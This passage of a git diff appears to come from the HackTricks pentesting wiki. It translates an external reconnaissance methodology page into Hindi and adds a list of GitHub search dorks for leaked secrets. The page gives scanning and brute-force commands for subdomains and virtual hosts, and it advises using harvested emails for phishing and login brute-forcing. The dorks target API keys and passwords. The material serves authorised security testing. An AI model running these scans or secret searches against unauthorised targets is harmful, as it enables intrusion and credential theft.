**generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -- [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### स्मार्ट संयोजन उत्पन्न करना +- [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** के **मुख्य भागों** को प्राप्त करेगा और अधिक उपडोमेन खोजने के लिए उन्हें मिलाएगा। ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` - -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक सबडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें और भी आगे बढ़ाया जा सके। ``` echo www | subzuf facebook.com ``` +### **सबडोमेन खोज कार्यप्रवाह** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +चेक करें इस ब्लॉग पोस्ट को जो मैंने लिखा है कि कैसे **सबडोमेन खोज को स्वचालित करें** एक डोमेन से **Trickest कार्यप्रवाह** का उपयोग करके ताकि मुझे अपने कंप्यूटर में कई टूल मैन्युअल रूप से लॉन्च करने की आवश्यकता न हो: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} -### **VHosts / Virtual Hosts** +### **VHosts / वर्चुअल होस्ट** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +यदि आपने एक IP पता पाया है जिसमें **एक या कई वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**। #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +आप कुछ **VHosts को IPs में खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके**। -**Brute Force** - -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: +**ब्रूट फोर्स** +यदि आपको संदेह है कि कुछ सबडोमेन एक वेब सर्वर में छिपा हो सकता है, तो आप इसे ब्रूट फोर्स करने की कोशिश कर सकते हैं: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -519,207 +432,197 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - > [!NOTE] -> With this technique you may even be able to access internal/hidden endpoints. +> इस तकनीक के साथ आप आंतरिक/छिपे हुए एंडपॉइंट्स तक भी पहुँच सकते हैं। ### **CORS Brute Force** -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. - +कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** को **खोज** सकते हैं। ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` +### **बकेट्स ब्रूट फोर्स** -### **Buckets Brute Force** +जब आप **सबडोमेन** की तलाश कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **बकेट** की ओर **इशारा** कर रहा है, और इस मामले में [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभावित बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/). -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +### **निगरानी** -### **Monitorization** +आप **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए गए हैं [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)करता है। -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +### **कमजोरियों की तलाश** -### **Looking for vulnerabilities** +संभावित [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\ +यदि **सबडोमेन** किसी **S3 बकेट** की ओर इशारा कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/). -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). - -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +यदि आप किसी **सबडोमेन को एक अलग IP** के साथ पाते हैं जो आपने पहले से संपत्तियों की खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\ +&#xNAN;_Note करें कि कभी-कभी सबडोमेन एक IP के भीतर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ ## IPs -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** +प्रारंभिक चरणों में, आप **कुछ IP रेंज, डोमेन और सबडोमेन** पा सकते हैं।\ +अब **उन रेंज से सभी IPs को इकट्ठा करने** और **डोमेन/सबडोमेन (DNS क्वेरी)** के लिए समय है। -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +निम्नलिखित **फ्री APIs** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले IPs** भी पा सकते हैं। ये IPs अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं) - [**https://securitytrails.com/**](https://securitytrails.com/) -You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host) +आप [**hakip2host**](https://github.com/hakluke/hakip2host) टूल का उपयोग करके एक विशिष्ट IP पते की ओर इशारा करने वाले डोमेन की भी जांच कर सकते हैं। -### **Looking for vulnerabilities** +### **कमजोरियों की तलाश** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +**CDNs से संबंधित सभी IPs का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। खोजी गई सेवाओं में, आप **कमजोरियों को खोजने में सक्षम हो सकते हैं**। -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +**होस्ट स्कैन करने के लिए एक** [**गाइड**](../pentesting-network/) **खोजें।** -## Web servers hunting +## वेब सर्वर शिकार -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है। -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +पिछले चरणों में, आपने शायद पहले से ही खोजे गए IPs और डोमेन का कुछ **रिपोर्ट किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे। -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**). +**वेब** सर्वरों से संबंधित **खुले पोर्ट** खोजने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहां पाई जा सकती है](../pentesting-network/#http-port-discovery).\ +वेब सर्वरों की खोज के लिए एक और उपयोगी टूल [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप बस डोमेन की एक सूची पास करते हैं और यह पोर्ट 80 (http) और 443 (https) से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत दे सकते हैं: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` - ### **Screenshots** -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +अब जब आपने **सभी वेब सर्वर** खोज लिए हैं जो दायरे में हैं (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन** के बीच) तो शायद आप **शुरुआत कहाँ से करें** यह नहीं जानते। तो, इसे सरल बनाते हैं और बस सभी के **स्क्रीनशॉट** लेना शुरू करते हैं। बस **मुख्य पृष्ठ** पर **नज़र डालकर** आप **अजीब** एंडपॉइंट्स पा सकते हैं जो अधिक **संवेदनशील** हो सकते हैं। -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +प्रस्तावित विचार को लागू करने के लिए आप [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) या [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** का उपयोग कर सकते हैं।** -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलाकर आपको बता सके कि **क्या संभावित रूप से कमजोरियों को शामिल कर सकता है**, और क्या नहीं। -## Public Cloud Assets +## सार्वजनिक क्लाउड संपत्तियाँ -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. +किसी कंपनी की संभावित क्लाउड संपत्तियों को खोजने के लिए आपको **उस कंपनी की पहचान करने वाले कीवर्ड्स की एक सूची से शुरू करना चाहिए**। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं: `"crypto", "wallet", "dao", "", <"subdomain_names">`। -You will also need wordlists of **common words used in buckets**: +आपको **बकेट्स में उपयोग किए जाने वाले सामान्य शब्दों** की वर्डलिस्ट भी चाहिए: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) देखें)। -With the resulting wordlists you could use tools such as [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +परिणामी वर्डलिस्ट के साथ आप [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **या** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** का उपयोग कर सकते हैं।** -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हों तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**। -### **Looking for vulnerabilities** +### **कमजोरियों की खोज** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** खोजते हैं तो आपको **उनका उपयोग करना चाहिए** और देखना चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं। -## Emails +## ईमेल -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +दायरे में **डोमेन** और **सबडोमेन** के साथ आपके पास **ईमेल खोजने के लिए आवश्यक सभी चीजें** हैं। ये हैं **APIs** और **उपकरण** जो मुझे किसी कंपनी के ईमेल खोजने के लिए सबसे अच्छे लगे हैं: -- [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -- API of [**https://hunter.io/**](https://hunter.io/) (free version) -- API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -- API of [**https://minelead.io/**](https://minelead.io/) (free version) +- [**theHarvester**](https://github.com/laramies/theHarvester) - APIs के साथ +- [**https://hunter.io/**](https://hunter.io/) का API (फ्री संस्करण) +- [**https://app.snov.io/**](https://app.snov.io/) का API (फ्री संस्करण) +- [**https://minelead.io/**](https://minelead.io/) का API (फ्री संस्करण) -### **Looking for vulnerabilities** +### **कमजोरियों की खोज** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +ईमेल बाद में **वेब लॉगिन और ऑथ सेवाओं** (जैसे SSH) के लिए **ब्रूट-फोर्स** करने में सहायक होंगे। इसके अलावा, ये **फिशिंग** के लिए आवश्यक हैं। इसके अलावा, ये APIs आपको ईमेल के पीछे के व्यक्ति के बारे में और भी अधिक **जानकारी** प्रदान करेंगे, जो फिशिंग अभियान के लिए उपयोगी है। -## Credential Leaks +## क्रेडेंशियल लीक -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +**डोमेन,** **सबडोमेन**, और **ईमेल** के साथ आप उन ईमेल से संबंधित अतीत में लीक हुए क्रेडेंशियल्स की खोज शुरू कर सकते हैं: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** +### **कमजोरियों की खोज** -If you find **valid leaked** credentials, this is a very easy win. +यदि आप **मान्य लीक** हुए क्रेडेंशियल्स पाते हैं, तो यह एक बहुत आसान जीत है। -## Secrets Leaks +## सीक्रेट्स लीक -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: +क्रेडेंशियल लीक उन कंपनियों के हैक से संबंधित हैं जहाँ **संवेदनशील जानकारी लीक और बेची गई**। हालाँकि, कंपनियाँ **अन्य लीक** से प्रभावित हो सकती हैं जिनकी जानकारी उन डेटाबेस में नहीं है: -### Github Leaks +### गिटहब लीक -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. +क्रेडेंशियल्स और APIs **कंपनी** या उस गिटहब कंपनी में काम करने वाले **उपयोगकर्ताओं** के **सार्वजनिक रिपॉजिटरी** में लीक हो सकते हैं।\ +आप **टूल** [**Leakos**](https://github.com/carlospolop/Leakos) का उपयोग करके किसी **संगठन** और उसके **डेवलपर्स** के सभी **सार्वजनिक रिपॉजिटरी** को **डाउनलोड** कर सकते हैं और उन पर स्वचालित रूप से [**gitleaks**](https://github.com/zricethezav/gitleaks) चला सकते हैं। -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. +**Leakos** का उपयोग सभी **पाठ** प्रदान किए गए **URLs** पर **gitleaks** चलाने के लिए भी किया जा सकता है क्योंकि कभी-कभी **वेब पृष्ठों में भी रहस्य होते हैं**। -#### Github Dorks +#### गिटहब डॉर्क्स -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: +आप उस **पृष्ठ** की भी जांच करें जहाँ संभावित **गिटहब डॉर्क्स** हैं जिन्हें आप उस संगठन में खोज सकते हैं जिसे आप लक्षित कर रहे हैं: {{#ref}} github-leaked-secrets.md {{#endref}} -### Pastes Leaks +### पेस्ट लीक -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. +कभी-कभी हमलावर या बस कर्मचारी **कंपनी की सामग्री को एक पेस्ट साइट पर प्रकाशित करेंगे**। इसमें **संवेदनशील जानकारी** हो सकती है या नहीं, लेकिन इसे खोजना बहुत दिलचस्प है।\ +आप टूल [**Pastos**](https://github.com/carlospolop/Pastos) का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं। -### Google Dorks +### गूगल डॉर्क्स -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**. +पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **ऐसे टूल का उपयोग कर सकते हैं** [**Gorks**](https://github.com/carlospolop/Gorks) **उन्हें सभी चलाने के लिए**। -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ +_ध्यान दें कि जो टूल नियमित गूगल ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि गूगल आपको बहुत जल्दी ब्लॉक कर देगा।_ -### **Looking for vulnerabilities** +### **कमजोरियों की खोज** -If you find **valid leaked** credentials or API tokens, this is a very easy win. +यदि आप **मान्य लीक** हुए क्रेडेंशियल्स या API टोकन पाते हैं, तो यह एक बहुत आसान जीत है। -## Public Code Vulnerabilities +## सार्वजनिक कोड कमजोरियाँ -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. +यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है, तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **कमजोरियों** की खोज कर सकते हैं। -**Depending on the language** there are different **tools** you can use: +**भाषा के आधार पर** आप विभिन्न **उपकरणों** का उपयोग कर सकते हैं: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -There are also free services that allow you to **scan public repositories**, such as: +कुछ मुफ्त सेवाएँ भी हैं जो आपको **सार्वजनिक रिपॉजिटरी** को **स्कैन** करने की अनुमति देती हैं, जैसे: - [**Snyk**](https://app.snyk.io/) ## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). +**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती हैं, वे **वेब एप्लिकेशनों** के अंदर होती हैं, इसलिए इस बिंदु पर मैं एक **वेब एप्लिकेशन परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)। -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** +मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।** -## Recapitulation +## पुनरावलोकन -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). +> बधाई हो! इस बिंदु पर आपने पहले ही **सभी बुनियादी गणना** कर ली है। हाँ, यह बुनियादी है क्योंकि और भी बहुत अधिक गणना की जा सकती है (बाद में और तरकीबें देखेंगे)। -So you have already: +तो आपने पहले ही: -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** +1. दायरे में सभी **कंपनियों** को खोज लिया +2. कंपनियों से संबंधित सभी **संपत्तियों** को खोज लिया (और यदि दायरे में हो तो कुछ कमजोरियों का स्कैन किया) +3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया +4. डोमेन के सभी **सबडोमेन** को खोज लिया (क्या कोई सबडोमेन टेकओवर?) +5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया। +6. सभी **वेब सर्वर** को खोज लिया और उनके **स्क्रीनशॉट** लिए (क्या कुछ अजीब है जो गहराई से देखने लायक है?) +7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया। +8. **ईमेल**, **क्रेडेंशियल लीक**, और **सीक्रेट लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं। +9. आपने जो भी वेब खोजी हैं उनका **पेंटेस्टिंग** किया। -## **Full Recon Automatic Tools** +## **पूर्ण रीकॉन स्वचालित उपकरण** -There are several tools out there that will perform part of the proposed actions against a given scope. +कुछ उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों का एक भाग करेंगे। - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated +- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - थोड़ा पुराना और अपडेट नहीं किया गया -## **References** +## **संदर्भ** -- All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) +- [**@Jhaddix**](https://twitter.com/Jhaddix) के सभी मुफ्त पाठ्यक्रम जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 53e1f35e6..38fde1977 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -2,18 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +अब जब हमने अपने दायरे के संपत्तियों की सूची बना ली है, तो कुछ OSINT कम-से-कम फलों की खोज करने का समय है। -{% embed url="https://go.intigriti.com/hacktricks" %} - -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. - -### Platforms that already searched for leaks +### पहले से लीक के लिए खोजी गई प्लेटफार्म - [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) -### Api keys leaks in github +### Github में Api keys लीक - [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) - [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) @@ -28,7 +23,6 @@ Now that we have built the list of assets of our scope it's time to search for s - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -310,5 +304,4 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 55186e1f3..0dac4b916 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +इस पृष्ठ का लक्ष्य 